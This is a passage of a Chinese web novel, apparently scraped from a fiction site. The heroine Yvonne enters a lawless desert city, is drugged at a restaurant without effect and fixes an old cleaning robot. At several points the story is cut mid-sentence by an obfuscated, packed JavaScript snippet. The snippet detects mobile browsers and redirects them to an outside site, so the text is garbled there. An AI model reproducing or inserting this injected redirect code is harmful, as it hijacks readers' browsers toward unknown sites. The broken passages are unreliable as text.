把脑内笔记本合上,手指在掌心的定影上点划,伊冯笔直冲向右侧,击倒抱着箱子的斗篷人。接触的第一时间掐住脖子放电把人放倒,这一次她把箱子丢在近处,听着沙子打在金属上的声音,直到那声音变得沉闷,她再冲过去放倒第二个、第三个……最后,她把五个袭击者拉到一块能遮挡风沙的岩石后,防止她们在昏迷期间被活埋,然后重新打开防护罩,带着逃生舱箱子往城市走。 这些人袭击她是为了钱,当然不会放过这个众目睽睽之下变形的高级机器箱子,她只要打开逃生舱的发信器,再用定影的探测功能定位就行了。 往城市走的路上没有出现预想中的后续袭击,平安到达城门口却被拦住,两个穿着制服,但体态完全不像正规军的卫兵用枪指着她,让她交代身份。 正规程序应该是直接由星球或城市防护网扫描筛查身份信息,不需要经过低效率的人工检查。因为这里是“栖止”吗?伊冯看着卫兵有古典云纹的东盟风格制服,东盟确实更喜欢用人力替代机器,她们总对新技术怀有高得怪异的警惕性。 虽然很介意对方用武器对着自己的无礼行径,伊冯还是解下脸上的布条,解释自己的飞艇在周围遭遇事故不得已迫降,她愿意配合进行身份登记并缴纳罚金。 发型像榴莲壳的卫兵说:“识相,那就交吧,罚金十万。” 伊冯皱眉,问:“罚金的数目依据是什么?降落过程中我没有遭到阻拦,并非是我恶意入侵。你们的执法凭证在哪?” 她的存款足够交这笔罚金,但如果总是这个数目的出账,支撑不了她在外生活多久。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621584|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 另一个西兰花发型的卫兵突然解开武器保险,冲地上开了两枪:“少废话,这是你讨价还价的地方?!” 西兰花卫兵几乎要把唾沫喷到她脸上地大叫:“奶奶的子弹就是法——你是要乖乖交罚金,还是吃子弹,或者滚去那边成为她们中的一个?” 她用下巴指向远离城门的墙根下的一排帐子。 伊冯与几个窥探这里动静的眼睛对上视线,那些人的穿着和之前袭击她的那伙人很像,还有些人指着她来的方向和附近的人耳语。 看那些眼睛中的奚落笑意,袭击她的人似乎不是她们的同伴。 原来如此,伊冯想:这些劫匪中也分帮结派,她们既然无法进城、以打劫为生,总要为量少的打劫对象商讨出能让她们相安无事的分配方案,比如“上次的我得手了这次的归你抢”。所以这里分明聚集了这么多的匪徒,她却只遭到一次围击。 但如果她继续在城外逗留,或许就要被群起攻之了。这种不能给她带来新经验的无意义对战,能免则免。虽然卫兵收取罚金的程序有问题,考虑到这里两盟都未正式接手,有些不合法的地方也无处申诉,只能低调点缴费进城。 卫兵却不从她的终端收费,反而向她索要现金。 这年代还能有现金?银行也没有发行实体货币啊? 伊冯只好搜寻身上物件抵钱:她在阿吉斯宅停车场修车时顺手揣进来的工具和零件,手环解下后她收起的链条;自家飞艇上她拿了几个辅助型机器人,不过放在逃生舱里一起收在箱内。还有一张洛佑的照片,之前抠下的阿吉斯标志,这两个可以忽略不算。这些东西加起来,能有十万吗? 伊冯没自己买过东西,之前和木原一起付给追龙的雇佣费是三十万,给“陪玩二号”的咨询费是二十万,十万应该算是一大笔钱了,她凑出来的这些零碎东西,或许还上不了万? 伊冯为罚金苦恼时,卫兵们也在打量她。 栖止这种地方,除了倒霉被外派来的星盟公务员,只有为钱卖命的佣兵、别无选择在此讨生活的贫民和逃犯,平民万不敢坐上终点为栖止的飞船。更何况,她从沙匪手下逃脱,走出了那片会吞噬所有软弱倒霉鬼的黄沙;就算满身沙土狼狈得像被埋过几趟,头发乱成杂草堆,衣物经过风沙的洗礼已经看不出原样,只能说明她缺乏经验,个人能力绝对不容轻视。她的脸脏得看不清,但声音听起来年纪尚小,这种有潜力又涉世不深的,最受城里那些地头蛇的欢迎。 “连十万都拿不出,你进城也活不过两天啊。”榴莲头做作地叹了口气,很宽容地说,“这样吧,看你这小身板在城外也活不过几天,我给你介绍个去处——‘极武帮’知道吧?我在那有熟人,可以介绍你进去,欠的进城费就等你拿到佣金了再来还,怎么样?” 伊冯摇头拒绝:“不了,我对当佣兵没兴趣。” 她的不识趣让西兰花头再开了一枪,揪着她的衣领警告她别太嚣张。 伊冯刚握住定影想让他的发型再蓬松些,榴莲头又唱红脸,把两人分开。 “你交不起罚金,又不愿意佣兵团给你作保,那就只能拿东西抵押了。”榴莲头的视线落在伊冯手里的箱子上,又看向她被扯歪领口露出的链子,“这箱子的材质看起来还值点钱,里面都装了什么?还有你的项链……” “这个应该足够了。” 伊冯打断卫兵没说完的话,把箱子打开缝隙,扣下逃生舱的能源芯片,拇指大的芯片上复杂精密的电路簇拥着中心指甲盖大的圆形淡蓝色晶体。 伊冯把芯片拿高,确保两个卫兵能看清:“用这个抵,足够了吧?” 榴莲头和西兰花头顾不上扮红脸白脸,瞪大眼睛看着伊冯指间的芯片。 伊冯说:“你们可以找人鉴定这是不是蓝金,但我不想在城外等。如果有问题,你们从城里把我揪出来也不难。” 看俩人只知道把眼珠子跟着芯片转的样子,伊冯明白了这个大小的蓝金价值肯定远超十万,没办法,眼下她只能用这个抵账。 把芯片丢给榴莲头,伊冯越过她们走到城门前,说:“开门。” 开启的城门卷入尘沙,为受防护网保护不被风暴骚扰的城内送入一股土腥的风,也让进城的人备受瞩目。 13. 进城 这里的城市面貌与元星截然不同,到处都弥漫尘土黄蒙蒙一片,街上的行人随身携带着奇形怪状的武器,楼房低矮、店面装潢简陋,店面没有任何标识,完全看不出做的什么生意。 伊冯一路走来总被注目打量,走不到三步就能遇到一个当她是软柿子挑衅的。她被激起了脾气,在小巷里放倒一个对她进行死亡威胁的,拿走了这个人身上的钱袋——伊冯顺便从他口中打听到,这里有很多灰色交易,不用虚拟币而用不好追踪的实体财物是这里的风尚。黄金是如今栖止城内约定俗成的通用货币。 伊冯拎着钱袋走进一个挂满衣服的店面,换了身灰扑扑的衣服把自己从头到脚包住,让自己与城里的老住户看起来没什么不同。袋子里的金币只够支付这么一身材质扎人剪裁粗糙的破布,伊冯不得不忧心钱财问题。 她从没想过竟然还要考虑资金问题,更没想过居然有只接受实体财物进行交易的地方。现在想来,以诺要查她的账户信息不是难事,动用存款很容易被以诺查到行踪——这也是以诺对她的出走那般自信的原因吗,如果轻率地动用账户上的钱财,以诺怎么会不知道她逃到哪里去了。 竹海里的女人帮她卸下了铐子,但以诺用来锁住她的何止那一个铐子。她几乎想把终端手环也解下丢掉,理智让她抑制住,没有终端会被怀疑是逃犯,只会招来更多麻烦。 没有了能源无法使用的逃生舱已经贬值,但本身的材质和结构依然存在价值,应该能换到够维持几天吃住的金子。之后呢?她想要研究自己的体质,想要去找罗莎蒙德,这些都需要钱。离家前的那顿晚饭后她还没吃过东西,她需要休息,需要食物。 城门口的卫兵说过想介绍她去佣兵团,倒是给她提供了一种选择。 追龙曾向她抛出橄榄枝,这意味着她的技术对于佣兵是有用的——或许她可以做佣兵?伊冯回想着当初雇佣追龙护送时的花费,这应该是个好工作。这段时间的经历,让她对自己的战斗能力也自信许多,至少做佣兵是够用了。 寻找佣兵团不是件难事,印着各家团徽的长布张扬地垂挂在屋顶,城里的佣兵团似乎都有一栋房子做基地。也有好几个房子都挂着同一个图纹的布,伊冯看到好几次一个以肌肉夸张地隆起的手臂做中心图样的印记,她在极武帮的飞船上也见过这个图案。 看来极武帮在这里很有影响力。伊冯心下念了两声倒霉,把脸上的布拢紧,往城镇另一边走。她可不敢指望和她正面接触过的极武帮成员对她毫无印象或既往不咎。 怕什么来什么,风卷着沙尘扑过来,城门再一次打开,周遭忽地喧闹起来。 城门久久没有闭上,几十个人涌入城中,其中有一半被背着或抬着。每个人身上或多或少都有伤,高声叫骂着宣泄情绪,城里的人围上去和他们交谈,似乎是在询问伊冯误入过的那场混战的结果。 伊冯加快脚步离开这片街道。 城里没有路标,所有建筑外观大同小异,最大的区别就是屋子外挂的团旗。留心寻找佣兵团的消息后,伊冯才发现城里的每个屋顶都有佣兵团的团徽,东西两盟互相牵制,反倒让栖止成了佣兵的天下。 她看到现在都没看见“三大佣兵团”中任何一个的痕迹,城门的卫兵把认识“极武帮”的人当做一件值得夸耀的事,而这个佣兵团在接近城门的位置拥有一块显眼的地盘,看来这个佣兵团已经是栖止数一数二的大团体。难道“三大佣兵团”不屑于做边际开荒的工作?追龙有护送、押镖的收入来源也就罢了,不接护送任务的鬼兵、怪物是靠什么生存的?她还抱了几分见见“三大”中她唯一没接触过的“怪物”佣兵团的期待,但一路看过来,都是些连标志设计都不入流的团。 即使资金问题迫在眉睫,伊冯也难以放下反感,加入那些一脸横肉只想用暴力取乐的人之中。 又一次被人拦住,伊冯反倒想问她究竟哪里看起来好欺负,就因为没有这些人身上那种超出实用范畴、显眼但只是增加负重的肌肉?就是这种在太空单兵作战时更方便成为靶子的体型,才让这些人只能在城里欺负人,连参与陨石群边缘那场三方混战的资格都没有吧? 这次动手前,伊冯总算看懂这些人身上粗劣的纹身原来是佣兵团的标志——虽然她没听说过进佣兵团要纹身的说法,但现在正好又给了她一个抗拒加入的理由。 “居然敢对‘坦沙’的人动手,你,你知道惹了我会有什么下场吗?”躺在地上的人喊着。 “不知道,而你应该已经知道惹了我会怎么样。”伊冯手上用力,血珠顺着利器边缘滑落。 伊冯特地挑了皮薄容易弄疼的地方下手,还没划深,脚下的壮汉就忍不住发抖,脑门冒汗:“我,我只是想打个招呼,你反应也太夸张了,刚进城不久吧?这里招人都是先打一架,不是我想对你怎么样……” 伊冯懒得听这种漏洞百出的狡辩,从他领口拽出钱袋就松开人。 壮汉被抢了刀和钱,吐着嘴里的沙子站起来骂了一串脏话,看见伊冯的脸又把没说完的话吞回去,差点没把自己呛岔气。 见伊冯拿了钱还没走,站在原地掂量着钱袋的重量若有所思,壮汉担心她是嫌少还想刮点,赶紧开溜。 “等等,我有话问你。” 身后的声音让壮汉背后一寒,不敢不听。今天他真是背运,这个硬茬是哪冒出来的,还没看见她动手就躺地上了,到现在还浑身发麻。 壮汉虽然嘴上不肯认错服软,但转回来的身子已经不自觉地缩脑袋,躲闪着避开伊冯的眼睛说:“都是来讨生活的,你要是真把我逼急了,我真和你拼命。” 伊冯问:“这些够你在城里做什么?” 壮汉骂道:“你**是多有钱,瞧不上还给老子!” 不知道壮汉误解了什么,伊冯只能说得更具体再问一遍:“我是想问城里的物价,这些钱可以买什么?” 壮汉涨红着脑袋脖子说:“够你逍遥段日子了,你**要拿就拿,老子又不是输不起,那点钱,老子**没几天就挣回来!” 伊冯挑了个小的金块丢回给他:“这个,够你活到挣回来吗?” 壮汉捏着金块闷头走了。 看来是够用。她买衣服时果然被骗了。 伊冯拿到好几个钱袋,都是巴掌大的小袋子,每个人钱袋里的金子有多有少。就算所有人都只随身带些零用,也不至于带的钱只够买身破布。 这座城里除了明目张胆当街勒索欺凌人的,还有不着痕迹欺诈骗钱的啊。买衣服的服装店也挂着极武帮的旗帜,现在不是折回去算账的时候,只能之后再找机会平账。 收起钱袋,伊冯无视各个角落投来的探究视线,她这次特地当街揍人,希望能让那些没本事的少来招惹。 走过两条街,终于看见一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621585|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家店面里坐着几桌在进食的人,柜台里的人对上她的视线,热络地招呼:“老板,吃饭吗?” 伊冯走进去,店里空间不大,每桌之间都只留刚好够人走过的空挡,端着菜的服务员高举菜盘小心地穿过客人,把菜放到桌上。 柜员穿着复古青灰色长衫,右手腕系着一条红手链,手肘支在柜台上,说话时红手链垂下的尾端跟着她热情的语调摆动:“老板第一次来啊?要不要尝尝我们家的招牌菜?” 伊冯看向柜台内的墙壁,墙上挂着两排矩形的木牌,牌上有着似乎是菜名的黑字,全是没听说过的菜式。 伊冯又看了眼完全是西盟人面孔的柜员,问:“东盟菜?” 柜员回道:“是啊,全栖止都没比我家更正宗的东盟菜了!老板喜欢吃甜的还是辣的咸的?只要您说得上名,我们都做得来!” 伊冯扫了眼柜台,没有菜价单。说了这么多,一个字没提钱,她真随便点,她们的报价恐怕更随便。 伊冯在木牌上的菜名里选了一个看得出原料的菜,问:“土豆丝,多少钱?” 柜员突然话多,语速飞快:“您可真会点,炒土豆丝可是东盟菜里的经典菜,又开胃又能饱腹!您喜欢吃脆些的还是面些的,酸甜口还是酸辣口?我呀,有一盘酸辣土豆丝就能吃下三碗饭!吃东盟菜肯定得有米饭,您要几碗饭?” 伊冯说:“等等,我只是问你,没有点单……” 柜员语速不减:“哦是这样啊,您别急,那您是想吃炒土豆丝以外的菜?不喜欢吃土豆的人可真少见,难道是喜欢吃海鲜?我家的口味鱼可是一绝,这个菜不配米饭也好下口。您看您这一身,也辛苦一天了吧,这些菜配上冰镇酒水,什么辛苦都舒坦了~” 伊冯听到柜台后的房间里有人高声喊了一句“口味鱼下锅喽”,她没开口阻止,只看着还无辜地睁大绿眼睛看她的柜员,问:“多少钱?” 柜员说:“您还真是心急呢,这才两个菜,哪吃得饱。饭量再小的客人来了我们这,都要吃三菜一汤呢,您还差着一道菜和一样汤呢。” 伊冯说:“这样啊,那就继续点吧。我喜欢吃甜的,有推荐吗?” 这一次柜员没有马上接话,挑眉打量着伊冯,扭头冲后面喊:“悠着点,客人喜欢吃甜的,土豆做酸甜口的,鱼做糖醋鱼。” 柜员的态度变化不大,但话少了,相比下显出了些慎重。伊冯不知道她这样的转变代表什么,现在也不想计较,她需要食物,等吃饱了才是算账的时候。 伊冯继续说:“你说还差了两样,再推荐两个甜的。” 柜员在柜台里的椅子坐下,摸出一把纸面折扇给自己扇风,红手链停在领口,姿态悠闲得要睡着。 她合上那双清透的绿眼睛,才缓缓地说:“性急的客人。先吃那两样吧,合口味了再点,我家可不许盘里有剩。” 伊冯转身找空位,却见那些围桌吃饭的都惊异地看她,似乎她在和柜员说几句话的时间里突然长出第二个脑袋。 还不等她问,柜台里飘出柜员昏昏欲睡的声音:“好好吃饭,再磨蹭可就收桌了。” 那些惊异的眼睛瞬间收回去,埋头在饭碗里。 能在这里做生意的,看来也要比普通的商人多点特别的本领。 那个柜员的身体看着没有训练痕迹,是什么让她能一句话叫那些满脸凶相的佣兵小心? 14. 试药 或许是东盟的习惯,上菜时动静很大,厨房里伴着敲击铁器的声音传出一声响亮的“菜好了”,服务生顶开门帘从后厨出来,两手各有一碟色泽鲜艳的菜品。 柜员叫住正要送餐的服务生,自己走出柜台把菜端到伊冯桌上。 柜员摆正两盘菜,用发甜的语调介绍菜色,再把两支木棍递到伊冯手中。 伊冯用右手拿住木棍,她知道这是东盟人惯用的餐具“筷子”,但突然拿在手里怎么都别扭。还好曾经在科普读物里见过用法,用两个棍子取物的杠杆原理很好理解,她让手指适应了一会儿,在柜员催促的目光下,拉下兜帽露出脸,夹住几根土豆丝放进嘴里。 “你这筷子使得不错,不是头回吃东盟菜啊?”柜员简单感叹一句,在对面的椅子坐下,紧盯着吞下食物的伊冯,“味道如何?” “嗯,不错。”第一口土豆下肚,本还平静的饥饿感突然有了强烈的存在感,把柜员不自然的热切和店内食客偷瞄的视线都放一边,伊冯加快速度进食。 筷子越用越顺手,伊冯很快就清空了两盘菜,但她还没吃饱,于是放下筷子问柜员:“能推荐几个分量大的菜吗?” 柜员拧着眉头打量她:“你……还想吃?” 伊冯说:“我很饿。” “……好,会让您吃饱的。”柜员猛地站起,端着空碟子进了厨房。 虽然柜员还没有推荐菜式,不过前两样也是柜员擅自决定的,接下来的继续让她决定也不是问题。 伊冯看向那些毫不掩饰震惊盯着她看的食客:“有什么问题吗?” 位置离她最近的一个观察着她的脸,吞吞吐吐地开口:“你,就没觉得,哪里不对劲?” 伊冯问:“比如?” “肚子疼之类的?” 其他食客也插嘴接话: “没觉得浑身发软、看不清东西?” “忽冷忽热浑身冒汗?” “想不想做些平时绝对不会做的事?” 她这两天一直在做过去不会做的事。 不过她大概猜到这些人什么意思了,菜里有能引发身体异常的东西,而她毫无反应,所以柜员和食客们都那么意外。 她应该没什么抗药体质,否则之前也不会被罗莎蒙德放倒。吃完饭就去找医院抽血化验吧,总不能连自己的身体状况都无法掌握。 柜员端着一盘装着四个大丸子的食物出来,服务生紧跟其后端着装满饭菜的托盘。 柜员把手里的菜放在伊冯面前,挑衅地看着她:“来,您尝尝店里的招牌——红烧狮子头。” 狮子肉?东盟不是最注重保护动物吗,狮子竟然可以做菜?还是说,这只是栖止特色的无法无天产物? 伊冯从红棕色的肉球上夹下一块放进嘴里:东盟菜用的调料她大多陌生,除了基本的盐、糖、葱、姜、黑胡椒,别的吃得出味道但对不上名字,肉馅里还掺了香菇和其他叫不上名字的蔬菜。虽然大多原材料她都不认得,但这肉绝对是猪肉。 说起来,她确实听说过东盟爱给菜名里加上些不该吃的东西,看来这道菜也是如此。 尝出是猪肉后,伊冯放心地大口吃掉剩下的肉球,把筷子伸向别的菜。 柜员和服务生就站在桌边看着她吃完,看着伊冯清空所有碗碟后神色如常地要算钱结账。 “你,你……”柜员瞪着伊冯,“你和叶家什么关系?!” 旁边的服务生满脸惊恐地拉住她:“蒙涟娜!你说什么呀,怎么可能!” 叶家?难道是指那个被称为东盟无冕之王、拥有东盟一半星球所有权的超级豪门?叶家确实也掌控着东盟的医药产业,难道和这有关系吗?菜里的是出自叶家的药? 自从东盟脱离独立后,叶家的势力被卡在东盟范围内,和西盟的阿吉斯没有来往,伊冯对叶家的了解只限于她们很有钱、叶家近几任家主都很神秘这些无人不知的传言。 伊冯说:“我和叶家没关系。你这么问我,是叶家的人也不受这种药的影响吗?” 蒙涟娜没接话,看着还在围观的其他食客们,说:“都吃完了还不走,等加餐吗?” 那些食客尽管都是一副想留下看个究竟的好奇表情,被她看着,只能缩着脖子在桌上留下饭钱挪着步子走人。 伊冯留意着那些桌子上的空碗碟和金子大小,对自己的饭钱有了底,比她预想的少许多。看来以后这家店可以常来。 “喂。”蒙涟娜叫回伊冯的注意力,“你用了什么招数?我用的量,足够别的客人在城里裸奔三个来回了。” “……我们第一次见面,应该还没仇吧,你为什么要给我下这种药?”她没暴露自己姓阿吉斯啊。 “我当然不想和你结那么大仇,看你没反应才加大剂量。”蒙涟娜坐下,冲服务生比了个手势,服务生利索地把桌子收拾干净,又端了一套青瓷茶具过来。 蒙涟娜拿起茶壶给自己倒了一杯泛绿的茶水,给伊冯也倒了一杯。 蒙涟娜端起茶杯对着伊冯说:“请你一杯,就当赔礼了,你别记仇。反正你没事,我家的菜也好吃。” 还是这么自说自话。 伊冯尝了一口茶,口感浓涩,香味重得让人不适,泡茶用的并不是茶叶而是茶粉,还滴了香精。她虽然一向不挑食,但对饮品有基本要求,起码不能口感香味一个不占。见蒙涟娜有些享受地喝下茶,这茶不是故意捉弄她,伊冯忍住把茶杯推远的动作,只握着茶杯不再喝。 蒙涟娜说:“茶也喝过了,你也该说了吧,究竟怎么解的毒?” 伊冯也想知道,而且她更知道绝对不能说是毒没对她起作用,只能含糊地说她进店前以防万一喝了解毒剂。 蒙涟娜追问:“什么解毒剂?哪个药厂做的?” “……我自制的。刚进入试药环节,找不到人给我试药,只能自己喝了。”伊冯边说边编。 蒙涟娜将信将疑地看着她:“真的?我就这么背,被你给蒙中解开了?” 伊冯只能自信地笑。 蒙涟娜又倒了一杯茶喝下,闷头沉默许久,突然从怀里掏出一个和茶具同花色拇指大的瓷瓶,拔掉塞子往伊冯的杯子里滴了一滴。 蒙涟娜说:“你的解毒剂能解这个吗?” 伊冯问:“……这个一般情况下会有什么症状?” 蒙涟娜说:“你喝下去不就知道了。” 伊冯说:“如果又被我的解毒剂解了,我就不知道了。” 蒙涟娜问:“你的解毒剂生效时间是多久?” 伊冯说:“商业机密。” 蒙涟娜又用眉头打结的表情盯着伊冯,然后说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒙涟娜看伊冯只露出眼睛都看得出懵懂的天真样,又笑了一声,放下茶杯摆手,说:“算了算了,给你指个好门路。往南边走,那边只有一家诊所,里面有个满身绷带的怪女孩,那就是诊所的医生。我不知道她的名字,别人都叫她‘怪医’。她会愿意买你的药剂。” 伊冯道谢后离开饭店,往南边走。 虽然她没有什么药剂要卖,但这城里似乎没有正规医院,听蒙涟娜的话,连医生都是需要提防的对象,那就只能去蒙涟娜推荐的诊所,看那里能不能帮她做个像样的身体检查。 “怪医”的诊所不难找,毕竟一个浑身绷带的医生足够特别到能当地标,尤其那些绷带上还有血迹,就更显眼得难以忽视了。 伊冯退了几步,远远看着诊所大敞的门内。似乎是手术台的桌子上,被绳子捆住似乎是病患的人,哀嚎着被划开大腿,动脉血大股地喷溅在拿着手术刀的女孩身上,把她身上的绷带都染红。 女孩在划开病人的大腿后,拿出一个看不出用途的机器,将一个金属管粗暴地塞进创口,刚嚎叫着昏迷的病人又嚎叫着惊醒。 伊冯转身小步跑走,她绝不想成为这位医生的病人。 15. 住宿 离栖止最近的恒星“望断”高悬在头顶散发热量,这里与元星有二十六个小时的时差,还有五个小时才入夜。 但伊冯已经很累了,据说那些跨越大时差地区的人都要睡一天倒时差来让身体适应环境变化,她的身体在抗议需要黑夜和睡眠。见识过城南的怪医后,她只想先洗漱歇息一晚,明天再到城里其他地方找靠谱的医生。实在不行就去东西盟的驻点,那里肯定有配备医生。 把找诊所的行动放置进明天的计划中,伊冯用金子和拳头给自己付了旅馆的费用。尽管这已经是她找到的看起来最像样干净的旅馆,伊冯还是被屋子里的味道熏得皱眉,考虑到旅馆的水费标价,伊冯按捺住了做个大扫除的想法。本想退一步只给自己清洗干净,但浴室的污渍也让她皱眉,忍无可忍去前台叫店主找人做卫生。 店主不耐烦地说:“你来这度假的?没见过这么事多的,嫌脏自己拿水冲啊。” 伊冯深呼吸着握住定影:“我不喜欢用暴力解决问题,你应该也不欢迎暴力的客人?” 店主赶忙按住她的手求道:“别,这破柜台禁不住您再砍一个豁口了——我也想能收拾干净些啊,住宿费还能收高些。店里清洁机器人坏了,根本启动不了,维修的人一直没来。您忍两天,机器修好之前您的房费打九折,怎么样?” 就算房费全免,伊冯也不会接受那个肮脏的浴室。她抓住店主话里的另一个关键词:“坏掉的清洁机在哪,让我看看。” “我用得着拿这话骗你?”店主不情愿地嘟囔着,走出柜台往后院去。 店主带路走到后院角落的房间,房间里堆叠着杂物,最靠近房门的位置有一个长筒形的机器,外壳老化发黄有锈,还有许多碰撞留下的凹陷划痕。 店主按下机器的开机键,指着毫无反应的机器说:“你看,没骗你,都快成废铁了。” “‘清洁管家’Q-3500J,这个型号在市面上还有流通吗?这可是十年前的机型了。”伊冯绕着机器转了一圈,机身高度到她肩膀,直径三十厘米,在清洁机器人里算高大纤细的“美人机”,伊冯因为喜欢这款外型设计,在它的功能性被后来的新机型取代后,把家里的几台改造成了实验室的辅助机器人和训练室的假想敌陪练机器人,没想到能在这里见到一个。 看机器上缺乏保养的痕迹,会有故障也是理所当然。 清洁机旁边的地上有个打开的凌乱工具箱,店里的人应该有尝试过自己修理。 伊冯打开能源仓,里面装着一个液体电池,通过透明的电池壳能看见里面还有一半余量的绿色电池液。电池本身没有破损,伊冯从工具箱里挑出一个电笔在舱内检测,电池和能源舱的接口完好,线路也没有问题,无法启动不是供电方面的问题。 把电池放到工具箱的空处,伊冯蹲在箱子边在里面翻找。 店主试图阻止她:“你就别折腾了,要是搞更破了要怎么算……” “一台老式清洁机而已。”伊冯在箱子里没翻到想要的,起身走回机器前,从自己裤兜里掏出一个波浪形的小薄片,沿机器顶端边缘插进去,手指在薄片上轻弹,机器顶端的外壳便往上弹出五毫米左右的高度。 把顶端外壳取下,伊冯把手伸进去摸了一圈,店主只听到“嗒”一声,清洁机侧面的外壳突然分成两片。 伊冯说:“扶一下。” 店主听话地拿住两个大弧片。为了方便更换电池,能源仓只用一个谁都能打开的安全按钮锁住,但打开机身外壳就完全不同了——至少她想自行修理时,连从哪开口都找不着。以前那些维修员来修理的时候,也要拿一堆看起来就很复杂的仪器鼓捣好一会儿才能把壳卸下,哪有这位客人干脆轻松。大概那些维修员是故意搞得复杂,才好收高价。 既然遇上个好像有能耐修理好的,那就由她去修,修好了大不了就省她两天住宿费。修不好那说法更多了,让她赔偿或是老实住着没法清理的房间,店里怎么都亏不了。 伊冯不知道店主心里算盘已经打得响亮,她卸下外壳后,先是对着具备年代感的机器内部排线和折叠收紧的机械臂怀念了一会儿。对于家居类机器,市场需求是“没有存在感地完成工作”,Q-3500J这样的机型太高太显眼,它的内部结构也繁复得没有必要,不怪自己当初只保留了外壳和机械臂。 打开壳后,问题在哪里一目了然。这个机器是从壳内伸出机械臂出去清洁的设计,因为缺乏保养,伸出去进行清洁工作的机械臂,会把外壳上的污垢铁锈带进机器内部,慢慢的,内部的感应部件被遮盖,无法运作。 问题简单得好笑。 把感应器上的污渍刮掉,伊冯顺手把内部的排线也重新做过,用终端连上中心处理器,把赘余的指令重新编写,最后卸下没必要的线路和零件,再把外壳安回去。 店主指着地上的部件,难以置信地看着伊冯居然一副大功告成样子:“你,你这叫修?我女儿八岁时都懂怎么把机器原样装回去!” 伊冯按下启动键,机器亮起指示灯,再按下功能键选定清洁范围和清洁程度。清洁机器人打开两侧出口伸出机械臂,将地上的工具箱整理归纳,把箱子放到一边,机器下盘的毛刷开始清扫地面。 伊冯退到屋外让机器发挥作用,店主呆愣地跟出来,看着机器把凌乱堆放的杂物间分门别类收拾整齐。 俩人就这么看了十分钟,等清洁器把屋内打扫整洁,最后把自己的外壳也擦洗干净,收起机械臂进入待机状态。 “应该没问题了,”伊冯走过去选中储存地图中她房间的位置,“接着就把我的房间弄干净吧。之后让它运作两个小时左右再关机。不是长时间不用最好不关,保持在待机模式。” 伊冯说完,跟着已经出发去工作的机器人回二楼的房间。店主叫住她,问她还会不会修别的。 店主说:“我的熟人,在找人修东西,好像一直没有找到合适的人——我看你初来乍到的,也在找活干吧?我可以帮你介绍。” 伊冯问:“什么类型的机器?” 店主说:“我不懂这些,说不清楚。你去看看也花不了多少时间。” 伊冯想了想,说:“好,我明天去看。” 把做好卫生的机器人送出房外,伊冯脱掉衣物,从逃生箱里取出应急治疗箱带进浴室。 莲蓬头喷洒出清水,身体表面的浮土被冲下,露出手臂上已经结痂的伤口,伤处还有砂砾混杂其中。用定影聚出一把柔软的风刃,贴着皮肤将痂皮刮落,把伤口对准水流冲洗。确定伤口没有异物后,伊冯关水擦掉伤口附近的水珠,拿起治疗喷雾对准伤口盖上一层药液。见药液成膜,打开水继续清洗。 水柱淋在身上,忽然带来细密的刺痛,伊冯本就因忍受疼痛而紧绷的神经到达临界点,迅速关水,急躁地检查着身上被遗漏的伤处。 冲刷掉沙土的皮肤上出现许多细小血线,伊冯按住一个检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621587|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查,伤口很浅,只是破皮而已。应该是在风沙里被刮的,清洗时挤压的动作又让它们破开渗血。 脸上也发疼,伊冯走到镜子前检查面部,果然密布伤口,比身上的要深。毕竟脸上的遮挡物比身上少,关掉保护罩时,面部是直接遭受风沙扑打的。 用棉签和镊子一点点把脸上伤处嵌进去的砂砾弄掉,忍痛把脸洗干净,再喷一层药液。等待药液成膜可以防水的间隙里,伊冯看着镜中的自己。 以诺很介意阿吉斯的名声受损,不会大张旗鼓地散播她离家出走的消息。即使是以诺·阿吉斯,要查她的终端信息也要通过相关机构,这意味着让外人知晓,除非她在外暴露身份,否则他不会考虑这个选项。 以诺应当已经派人寻找她的下落。飞艇的定位系统在起飞前就被她关闭,虽然让那些佣兵看到了阿吉斯的飞艇,但就像她之前设想的,阿吉斯不能在这种混乱地带任意行动。无论她之前从空港开走哪艘船,以诺都有能力追踪,使用阿吉斯的船反而会让他顾及体面设法掩盖,不能大张旗鼓地行动。 作为阿吉斯的继承人,她的长相可以说是半公开的。一个刚越狱的逃犯都能认出她,这张脸实在是个麻烦。好在她多年深居简出,在学校只出席过三年,阿吉斯主宅的人或许在她出逃那晚才头回正面见过她——直接接触过她的人不多,稍微遮掩面部,就不会被认出。 